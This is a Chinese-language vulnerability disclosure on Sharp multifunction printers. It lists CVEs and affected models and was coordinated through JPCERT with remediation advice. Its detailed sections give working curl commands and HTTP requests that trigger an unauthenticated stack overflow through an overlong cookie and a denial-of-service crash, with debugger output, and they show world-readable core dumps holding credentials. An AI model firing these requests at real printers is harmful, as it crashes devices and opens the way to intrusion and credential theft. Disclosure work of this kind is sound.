夏普打印机漏洞分析

IoT 3个月前 admin
134 0 0

产品描述

多功能打印机不仅仅提供打印功能。这些设备将打印机、复印机和扫描仪的功能整合到一个单一的设备中。

来自 Sharp多功能打印机

漏洞摘要

受影响版本:308种不同的夏普多功能打印机(MFP)存在漏洞。建议访问官方 夏普安全通告 并应用安全补丁,更换不支持的多功能打印机(MFP)型号。

漏洞总结如下:

  1. [CVE-2024-28038 – 主程序中的内存损坏 – 无需认证即可远程执行代码对Web服务器]

  2. [CVE-2024-36251 – 无效(0x000000d0)指针取消引用 – 无需认证即可远程拒绝服务]

  3. [CVE-2024-28955, CVE-2024-29146, CVE-2024-29978, CVE-2024-32151 – 可全球读取的核心转储文件和不安全的凭证存储]

  4. [CVE-2024-33605 – 无需认证即可任意目录列表]

  5. [未分配CVE漏洞 – 本地文件包含允许在无需认证的情况下读取任何文件(例如核心转储文件)] 5.1 [打印机上生成核心转储文件] 5.2 [核心转储文件的本地文件包含] 5.3 [使用核心转储文件检索凭证] 5.4 [使用配置文件检索凭证]

  6. [CVE-2024-33610 – 后门网页 – 无需认证即可列出会话cookie]

  7. [未分配CVE漏洞 – 可无需认证即可访问的配置网页]

  8. [CVE-2024-33610 – 无需认证即可重启 – 远程拒绝服务]

  9. [CVE-2024-35244 – 后门访问 – 服务]

  10. [未分配CVE漏洞 – 后门访问 – FSS用户]

  11. [未分配CVE漏洞 – 不安全的默认凭证]

  12. [CVE-2024-33616 – 通过telnet读取管理员访问]

  13. [未分配CVE漏洞 – 所有夏普打印机上的XSS(login.html)]

  14. [未分配CVE漏洞 – 所有夏普打印机上的XSS(所有其他HTML页面)]

  15. [CVE-2024-34162 – 通过降低安全性来泄露LDAP凭证]

  16. [CVE-2024-36248 – 硬编码的Google API密钥]

  17. [未分配CVE漏洞 – 硬编码的Amazon API密钥]

  18. [N-day CVE-2022-45796 – 远程代码执行]

TL;DR: 攻击者可以使用多个漏洞来破坏夏普多功能打印机。

夏普多功能打印机的受影响型号列表(308种型号):

BP-30C25, BP-30C25T, BP-30C25Y, BP-30C25Z, BP-30M35, BP-30M31, BP-30M28, BP-30M35T, BP-30M31T, BP-30M28T, 
BP-50C36, BP-50C31, BP-50C26, BP-50C65, BP-50C55, BP-50C45, BP-50M36, BP-50M31, BP-50M26, BP-50M55,
BP-50M50, BP-50M45, BP-55C26, BP-60C45, BP-60C36, BP-60C31, BP-70C36, BP-70C31, BP-70C65, BP-70C55,
BP-70C45, BP-70M36, BP-70M31, BP-70M65, BP-70M55, BP-70M45, BP-90C70, BP-90C80, BP-B547WD, BP-B537WR,
BP-B550WD, BP-B540WR, BP-70M90, BP-70M75, MX-M1205, MX-M1055, DX-2500N, DX-2000U, MX-2010U, MX-1810U,
MX-2314N, MX-2314NR, MX-2630N, MX-3050N A, MX-3050V A, MX-3100N, MX-3100G, MX-2600N, MX-2600G, MX-3101N,
MX-2601N, MX-2301N, MX-3111U, MX-2310U, MX-2310R, MX-3115N, MX-2615N, MX-2615 A, MX-3116N, MX-2616N,
MX-3551, MX-3051, MX-2651, MX-3570N, MX-3070N, MX-3570V, MX-3070V, MX-3571, MX-3071, MX-3571S,
MX-3071S, MX-3610N, MX-3110N, MX-2610N, MX-3110N A, MX-3610NR, MX-3640N, MX-3140N, MX-2640N, MX-3140N A,
MX-3640NR, MX-3140NR, MX-2640NR, MX-4050N, MX-3550N, MX-3050N, MX-4050V, MX-3550V, MX-3050V, MX-4060N,
MX-3560N, MX-3060N, MX-4060V, MX-3560V, MX-3060V, MX-4061, MX-3561, MX-3061, MX-4061S, MX-3561S,
MX-3061S, MX-5001N, MX-5000N, MX-4101N, MX-4100N, MX-5112N, MX-5111N, MX-5110N, MX-4112N, MX-4111N,
MX-4110N, MX-5141N A, MX-4140N A, MX-5141N, MX-5140N, MX-4141N, MX-4140N, MX-6050N, MX-5050N, MX-6050V,
MX-5050V, MX-6051, MX-5051, MX-4051, MX-6070N A, MX-4070N A, MX-3070N A, MX-6070N, MX-5070N, MX-4070N,
MX-6070V A, MX-4070V A, MX-3070V A, MX-6070V, MX-5070V, MX-4070V, MX-6071, MX-5071, MX-4071, MX-6071S,
MX-5071S, MX-4071S, MX-7040N, MX-6240N, MX-7500N, MX-6500N, MX-7580N, MX-6580N, MX-8081, MX-7081,
MX-8090N, MX-7090N, MX-B400P, MX-B380P, MX-B401, MX-B381, MX-B402, MX-B382, MX-B402P, MX-B382P,
MX-B402SC, MX-B382SC, MX-B455W, MX-B355W, MX-B455WT, MX-B355WT, MX-B455WZ, MX-B355WZ, MX-B456WH, MX-B356WH,
MX-B456W, MX-B356W, MX-B476WH, MX-B376WH, MX-B476W, MX-B376W, MX-C301W, MX-C301, MX-C304, MX-C303,
MX-C304WH, MX-C303WH, MX-C304W, MX-C303W, MX-C312, MX-C311, DX-C311, DX-C311J, MX-C310, DX-C310,
MX-C381, DX-C381, MX-C380, MX-C381B, MX-C400P, MX-C380P, MX-C401, DX-C401, DX-C401 J, MX-C400,
DX-C400, MX-C402SC, MX-C382SC, MX-C382SCB, MX-M1204, MX-M1054, MX-M904, MX-M1206, MX-M1056, MX-M2630,
MX-M2630 A, MX-M266N, MX-M265N, MX-M265U, MX-M266NV, MX-M265NV, MX-M265UV, MX-M3050 A, MX-M314NV, MX-M264NV,
MX-M315NE, MX-M265NE, MX-M315NE, MX-M265NE, MX-M315V, MX-M265V, MX-M354N, MX-M314N, MX-M264N, MX-M354NR,
MX-M314NR, MX-M264NR, MX-M354U, MX-M314U, MX-M264U, MX-M3550, MX-M3050, MX-M3551, MX-M3051, MX-M2651,
MX-M356N, MX-M316N, MX-M315N, MX-M356U, MX-M315U, MX-M356NV, MX-M316NV, MX-M315NV, MX-M356UV, MX-M315UV,
MX-M3570, MX-M3070, MX-M3571, MX-M3071, MX-M3571S, MX-M3071S, MX-M465N A, MX-M365N A, MX-M503N, MX-M453N,
MX-M363N, MX-M283N, MX-M503U, MX-M453U, MX-M363U, MX-M564N, MX-M464N, MX-M364N, MX-M564N A, MX-M565N,
MX-M465N, MX-M365N, MX-M6050, MX-M5050, MX-M4050, MX-M6051, MX-M5051, MX-M4051, MX-M6070 A, MX-M4070 A,
MX-M3070 A, MX-M6070, MX-M5070, MX-M4070, MX-M6071, MX-M5071, MX-M4071, MX-M6071S, MX-M5071S, MX-M4071S,
MX-M753N, MX-M753U, MX-M623N, MX-M623U, MX-M754N, MX-M654N, MX-M754N A, MX-M654N A, MX-M7570, MX-M6570,
MX-M905.

附加说明

这次安全评估完全采用黑盒方法,并且是完全远程进行的 – 我只有打印机的一些IP地址(没有物理访问权限,也没有管理员或普通用户的凭证)。因此,没有分析打印机的物理安全性,并且通过运行最新固件版本的大约15种不同型号(MX-3060N, MX-3061, MX-3070N, MX-3560N, MX-3561, MX-5070V, MX-5071, MX-C3051R, MX-C3081R, MX-M365N, MX-M453U, MX-M465N, MX-M5050, MX-M5051, MX-M6051 和 MX-M6071)确认了这些漏洞。

这些漏洞已于2023年6月1日通报给JPCERT,并且与JPCERT的沟通非常有效 – 他们完全管理了与夏普的互动。

影响

攻击者可以破坏夏普多功能打印机(MFP)并执行代码。这些打印机运行Linux系统,功能强大。它们非常适合托管植入物(和有趣的程序,如Bettercap)并在基础设施内横向移动。

建议

  • 使用网络分段来隔离MFP。
  • 应用安全补丁。
  • 更换不支持的MFP。

详细信息 – 主程序中的内存损坏 – 无需认证即可远程执行代码对Web服务器

默认情况下,夏普打印机使用一个单一的超级程序,该程序将以root权限运行并提供网络守护进程(ftp, http, snmp, raw-printer-9100, …)。这个单一程序容易受到无需认证的基于栈的缓冲区溢出攻击。

这个main程序以root权限运行,其HTTP堆栈容易受到无需认证的基于栈的缓冲区溢出攻击,允许攻击者重定向程序的控制流并实现远程代码执行。

main程序在80/tcp端口上监听:

sh-4.3# ps -auxww | grep main
root 1186 6.3 5.3 2124656 172688 ? Sl 00:27 43:36 /tmp/app/ui/ui_mainview -hidecursor
root 2081 3.9 10.9 2515532 348980 ? Sl 00:27 26:52 /tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk
root 13598 0.0 0.0 1980 368 pts/0 S+ 11:49 0:00 grep main
sh-4.3# netstat -laputen | grep main
tcp 0 0 0.0.0.0:50001 0.0.0.0:* LISTEN 0 10217 2081/main
tcp6 0 0 :::443 :::* LISTEN 0 12538 2081/main
tcp6 0 0 :::52000 :::* LISTEN 0 33214 2081/main
tcp6 0 0 :::10080 :::* LISTEN 0 18542 2081/main
tcp6 0 0 :::515 :::* LISTEN 0 10166 2081/main
tcp6 0 0 :::53000 :::* LISTEN 0 12539 2081/main
tcp6 0 0 :::10443 :::* LISTEN 0 18545 2081/main
tcp6 0 0 :::5900 :::* LISTEN 0 33233 2081/main
tcp6 0 0 :::9100 :::* LISTEN 0 12534 2081/main
tcp6 0 0 :::80 :::* LISTEN 0 12537 2081/main
tcp6 0 0 :::21 :::* LISTEN 0 10164 2081/main
tcp6 0 0 :::631 :::* LISTEN 0 10168 2081/main
udp 0 0 127.0.0.1:9473 0.0.0.0:* 0 13202 2081/main
udp6 0 0 :::5353 :::* 0 12497 2081/main
udp6 0 0 :::161 :::* 0 33229 2081/main
udp6 0 0 :::546 :::* 0 33145 2081/main
sh-4.3#

默认情况下,当通过浏览器访问打印机时,打印机会提供一个名为 MFPSESSIONID 的 cookie,如下所示。如果用户决定登录打印机,该 cookie 将用于身份验证。例如,对 /main.html 发起的 HTTP 请求:

kali% curl -kv http://10.0.0.1/main.html | head
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
> GET /main.html HTTP/1.1
> Host: 10.0.0.1
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: Rapid Logic/1.1
< MIME-version: 1.0
< Date: Thu Jan 1 02:32:35 1970 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: close
< Pragma: no-cache
< Cache-Control: no-cache
< X-Frame-Options: DENY
< Set-Cookie: MFPSESSIONID=020015D2C59E7B68C9FB5F411B0E59FCBEF70F7E03CEE4C4C5A12023051115051847BC555A
< Extend-sharp-setting-status: 0
<
{ [2 bytes data]
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=320,initial-scale=1.0" />
<meta name="format-detection" content="telephone=no" />
<meta http-equiv="X-UA-Compatible" content="IE=8; IE=10; IE=11" />
<title>Machine Identification - MX-M6071</title>
<link rel="stylesheet" href="other.css" type="text/css" />
<link rel="stylesheet" href="color1.css" type="text/css" />
* Failure writing output to destination
* Failed reading the chunked-encoded stream
100 6950 0 6950 0 0 196k 0 --:--:-- --:--:-- --:--:-- 199k
* Closing connection 0
curl: (23) Failure writing output to destination
kali%

通过发送一个带有长 MFPSESSIONID cookie 的恶意 HTTP 请求,可以覆盖主程序的栈。

这个有效载荷将发送一个带有 643 字节有效载荷的 MFPSESSIONID cookie。这个有效载荷将覆盖主程序内部的栈缓冲区。缓冲区可能是 639 字节,而 EDBB(在小端格式中表示为 EDCB,因为 ARM 是小端序)将覆盖栈上的返回地址或其它控制信息:

kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html
* Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
> GET /system.html HTTP/1.1
> Host: 10.0.0.1
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB
>

如果 /system.html 不存在,可以使用 /main.html 或任何其他存在的 HTML 网页代替进行请求。

kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/main.html
* Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
> GET /system.html HTTP/1.1
> Host: 10.0.0.1
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB
>

如果第一次利用尝试没有成功,可以重新发送相同的恶意HTTP请求,以尝试第二次覆盖栈。

kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html
* Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
> GET /system.html HTTP/1.1
> Host: 10.0.0.1
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB
kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html
* Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
> GET /system.html HTTP/1.1
> Host: 10.0.0.1
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB

打印机上的 dmesg 命令输出将确认主程序在尝试访问地址 0x42434445 时崩溃。这个地址对应于之前发送在 cookie 中的 EDCB 值。由于 ARM 架构是小端序,所以 EDCB 在内存中表示为 0x42434445。这个值可能会出现在几个寄存器中(但不在程序计数器 PC 中)。

dmesg 的输出如下所示

[  127.970220] main[15612]: unhandled level 2 translation fault (11) at 0x42434445, esr 0x92000006
[ 127.979463] pgd = ffff80007a07e000
[ 127.982981] [42434445] *pgd=00000000fa099003, *pud=00000008c6f9d003, *pmd=0000000000000000

[ 127.992811] CPU: 1 PID: 15612 Comm: main Tainted: P O 4.1.46-rt52 #2
[ 128.000296] Hardware name: LS1043A MFP Board (DT)
[ 128.005195] task: ffff8008372c69c0 ti: ffff80083dde0000 task.ti: ffff80083dde0000
[ 128.012710] PC is at 0x20d4ff8
[ 128.015761] LR is at 0x2a0
[ 128.018465] pc : [<00000000020d4ff8>] lr : [<00000000000002a0>] pstate: 900f0010
[ 128.026024] sp : 000000008f12f7c0
[ 128.029335] x12: 0000000042434445
[ 128.032981] x11: 000000008fd45008 x10: 0000000000000001
[ 128.038298] x9 : 0000000091247bf8 x8 : 000000008fd5648c
[ 128.043678] x7 : 0000000000000000 x6 : 000000008fd56c58
[ 128.048996] x5 : 000000008fd569bc x4 : 0000000008b90bdc
[ 128.054388] x3 : 0000000042434445 x2 : 0000000042434445
[ 128.059834] x1 : 000000008fd569b8 x0 : 0000000000000001

在打印机上,使用GDB,我们将确认主程序崩溃并且栈已经被成功破坏:

sh-4.3# ps -auxww|grep main
root 1186 9.7 4.9 2123632 158080 ? Sl 11:31 0:21 /tmp/app/ui/ui_mainview -hidecursor
root 2023 7.8 9.8 2505880 316360 ? Sl 11:31 0:15 /tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk
root 26544 0.0 0.0 1980 376 pts/0 S+ 11:34 0:00 grep main
sh-4.3# gdb -p 2023
GNU gdb (GDB) 7.10.1.20160210-cvs
warning: File "/lib/libthread_db-1.0.so" auto-loading has been declined by your `auto-load safe-path' set to "$debugdir:$datadir/auto-load".

warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
0xf744f1c4 in pthread_join () from /lib/libpthread.so.0
(gdb) c

...
[LWP 32749 exited]
[New LWP 32750]
[New LWP 32751]
[LWP 32751 exited]
[New LWP 32752]
...
[New LWP 27196]
[LWP 27196 exited]
[New LWP 27197]

Program received signal SIGSEGV, Segmentation fault.
[Switching to LWP 27195]
0x020d4ff8 in ?? ()
(gdb) bt
#0 0x020d4ff8 in ?? ()
#1 0x000002a0 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) info reg
r0 0x1 1
r1 0x903e0ec8 2419986120
r2 0x42434445 1111704645
r3 0x42434445 1111704645
r4 0x8b90bdc 146344924
r5 0x903e0ecc 2419986124
r6 0x903e1168 2419986792
r7 0x0 0
r8 0x903e082c 2419984428
r9 0x918ddcb8 2441993400
r10 0x1 1
r11 0x903db008 2419961864
r12 0x42434445 1111704645
sp 0x72231fc0 0x72231fc0
lr 0x2a0 672
pc 0x20d4ff8 0x20d4ff8
cpsr 0x90050010 -1878720496
(gdb) info frame
Stack level 0, frame at 0x72231fc0:
pc = 0x20d4ff8; saved pc = 0x2a0
called by frame at 0x72231fc0
Arglist at 0x72231fc0, args:
Locals at 0x72231fc0, Previous frame's sp is 0x72231fc0
(gdb)

main程序中没有ASLR;地址始终相同,因此利用漏洞非常可能。

由于在这次安全评估中没有足够的时间来开发这种漏洞利用,而且我已经在打印机上获得了root远程shell,所以没有尝试利用。夏普公司确认利用是可能的。

拥有RCE漏洞的攻击者随后可以横向移动,并使用Wifi来泄露信息:

bash-4.3# iwlist ath0 scan
ath0 Scan completed :
Cell 01 - Address: 00:3C:10:01:02:03
ESSID:"[REDACTED]"
Mode:Master
Frequency:2.412 GHz (Channel 1)
Quality=93/94 Signal level=-54 dBm Noise level=-95 dBm
Encryption key:off
Bit Rates:12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s; 48 Mb/s
54 Mb/s
Extra:bcn_int=100

bash-4.3#

详情 – 无效(0x000000d0)指针解引用 – 无需认证的远程DoS

观察到在夏普打印机上,/billcodedef_sub_sel.html网页无需认证即可访问。向此网页发出特定请求将触发主程序中的无效指针解引用。然后打印机在创建coredump文件后将重新启动。

夏普打印机漏洞分析
图片解析失败

当通过按下Search Start(Q)提交带有子代码test的请求时,HTTP请求将是:

使用billcodedef_sub_sel.html的HTML表单的HTTP请求:

夏普打印机漏洞分析
图片解析失败

可以修改HTTP请求,将curr_page_url=%2Fbillcodedef_sub_sel.html更改为curr_page_url=%2Fbillcodedef_sub_sel.html?。在billcodedef_sub_sel.html后添加了一个问号。

生成的请求将是:

夏普打印机漏洞分析
图片解析失败

触发DoS的相应恶意HTTP请求是:

POST /billcodedef_sub_sel.html? HTTP/1.1
Host: 10.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 406
Origin: http://10.0.0.1
Connection: close
Referer: http://10.0.0.1/billcodedef_sub_sel.html?
Cookie: MFPSESSIONID=020035B15A47378CF80C6175263F714EEF9118E72A1AA6C9CAC6202305181146331E5FF54; sideBarflag=1
Upgrade-Insecure-Requests: 1

billing_code_def_selWebchg=&action=searchbtn&ordinate=0&token2=AEC039F52DC886D169AC7F977F61D4C61295539BC0A3572B08E37FB291B9A766E238FB699426F67B&ggt_textbox%288%29=test&ggt_textbox%2811%29=&ggt_select%2829%29=1&billing_radio=2%2C&BillingCode%282%2C%29=Not+Set&BillingCodeName%28%29=&ggt_hidden%2839%29=0&ggt_hidden%2840%29=1&ggt_hidden%2844%29=&curr_page_url=%2Fbillcodedef_sub_sel.html?&selBillingCodeName=

我们还可以使用curl重现问题:

kali% curl -i -s -k -X $'POST' -H $'Host: 10.0.0.1' --data-binary 'curr_page_url=%2Fbillcodedef_sub_sel.html?' 'http://10.0.0.1/billcodedef_sub_sel.html' 

在打印机上,我们可以看到崩溃:

[ 9914.440518] main[18602]: unhandled level 3 translation fault (11) at 0x000000d0, esr 0x92000007
[ 9914.453538] pgd = ffff80082f408000
[ 9914.456936] [000000d0] *pgd=00000000f9ea6003, *pud=00000000f9f6e003, *pmd=00000000f9c0f003, *pte=0000000000000000

[ 9914.468751] CPU: 1 PID: 18602 Comm: main Tainted: P O 4.1.46-rt52 #2
[ 9914.476433] Hardware name: LS1043A MFP Board (DT)
[ 9914.481138] task: ffff80083de6c680 ti: ffff80082cb20000 task.ti: ffff80082cb20000
[ 9914.488691] PC is at 0x228fe6c
[ 9914.491744] LR is at 0x228f820
[ 9914.494830] pc : [<000000000228fe6c>] lr : [<000000000228f820>] pstate: 600f0010
[ 9914.502227] sp : 000000007212fd70
[ 9914.505539] x12: 00000000ffffffff
[ 9914.508939] x11: 000000007212fdb0 x10: 0000000000000001
[ 9914.514367] x9 : 0000000091170990 x8 : 0000000000000002
[ 9914.519683] x7 : 000000007212fd88 x6 : 0000000091172799
[ 9914.525102] x5 : 0000000000000000 x4 : 0000000000000000
[ 9914.530417] x3 : 0000000000000000 x2 : 000000007212fdd0
[ 9914.535764] x1 : 0000000000000061 x0 : 0000000000000000

[ 9914.543566] [BSPIF]bspif_pof_wait:signal receive(-512)
[ 9914.548702] [BSPIF]bspif_pof_wait:
[ 9988.116784] Panic : Oops Exit !!! [comm:irq/20-serial] [user_mode:0]

随着相应的coredump文件的创建:

sh-4.3# cd /mnt/log && ls -latr
[...]
-rw-r--r-- 1 root root 19133981 May 18 11:48 core-main.log.gz.001
-rw-r--r-- 1 root root 0 May 18 11:48 ERR_IFS.log
-rw-r--r-- 1 root root 19133981 May 18 11:48 ERR_core-main.log.gz
-rw-r--r-- 1 root root 97230 May 18 11:48 ERR_kern.log
-rw-r--r-- 1 root root 0 May 18 11:48 ERR_core-pdl.log.gz
-rw-r--r-- 1 root root 0 May 18 11:48 ERR_log_ui_mainview.log
-rw-r--r-- 1 root root 21262 May 18 11:48 ERR_pdl.log
-rw-r--r-- 1 root root 315 May 18 11:48 ERR_nf.log
-rw-r--r-- 1 root root 314620 May 18 11:48 ERR_main.log
-rw-r--r-- 1 root root 97363 May 18 11:48 kern.log.001
-rw-r--r-- 1 root root 18653 May 18 11:48 vmstat.log.001
-rw-r--r-- 1 root root 377 May 18 11:48 umount.log.001
-rw-r--r-- 1 root root 1861 May 18 11:48 slinkerr1.log
-rw-r--r-- 1 root root 4582 May 18 11:48 slinkerr0.log
-rw-r--r-- 1 root root 45625 May 18 11:48 watch_idle.log
-rw-r--r-- 1 root root 314692 May 18 11:49 main.log
-rw-r--r-- 1 root root 132 May 18 11:49 bsp.log
-rw-r--r-- 1 root root 96435 May 18 11:49 kern.log
-rw-r--r-- 1 root root 407 May 18 11:49 vmstat.log
sh-4.3# date
Thu May 18 11:50:40 UTC 2023
sh-4.3# uptime
11:51:55 up 3 min, 0 users, load average: 1.36, 0.95, 0.40
sh-4.3#

详情 – 全局可读的coredump文件和不安全的凭证存储

观察到夏普打印机中的coredump文件权限设置不正确。任何本地用户都可以读取它们。这些coredump文件包含了用户的所有明文凭证。

位于/mnt/log的core文件:

sh-4.3# ls -la /mnt/log | grep core
-rw-r--r-- 1 root root 16120921 May 11 15:18 ERR_core-main.log.gz
-rw-r--r-- 1 root root 0 May 11 15:18 ERR_core-pdl.log.gz
-rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-IFS.log.gz
-rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-IFS.log.gz.001
-rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-IFS.log.gz.002
-rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-NX.log.gz
-rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-NX.log.gz.001
-rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-NX.log.gz.002
-rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-bcr_iface.log.gz
-rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-bcr_iface.log.gz.001
-rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-bcr_iface.log.gz.002
-rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-main.log.gz
-rw-r--r-- 1 root root 0 Jan 1 2000 SWOFF_core-main.log.gz.001
...
-rw-r--r-- 1 root root 0 Jan 1 2000 core-main.log.gz
-rw-r--r-- 1 root root 16120921 May 11 15:18 core-main.log.gz.001
-rw-r--r-- 1 root root 13566117 May 11 15:16 core-main.log.gz.002
-rw-r--r-- 1 root root 17158453 May 11 15:12 core-main.log.gz.003
-rw-r--r-- 1 root root 17332354 May 11 12:32 core-main.log.gz.004
-rw-r--r-- 1 root root 20440117 May 11 12:28 core-main.log.gz.005
-rw-r--r-- 1 root root 22170528 May 10 11:47 core-main.log.gz.006
-rw-r--r-- 1 root root 0 Jan 1 2000 core-main.log.gz.007
...
sh-4.3# cd /mnt/log && ls -la|grep ERR
-rw-r--r-- 1 root root 0 May 15 14:11 ERR_IFS.log
-rw-r--r-- 1 root root 17316180 May 15 14:11 ERR_core-main.log.gz
-rw-r--r-- 1 root root 0 May 15 14:11 ERR_core-pdl.log.gz
-rw-r--r-- 1 root root 97316 May 15 14:11 ERR_kern.log
-rw-r--r-- 1 root root 0 May 15 14:11 ERR_log_ui_mainview.log
-rw-r--r-- 1 root root 314188 May 15 14:11 ERR_main.log
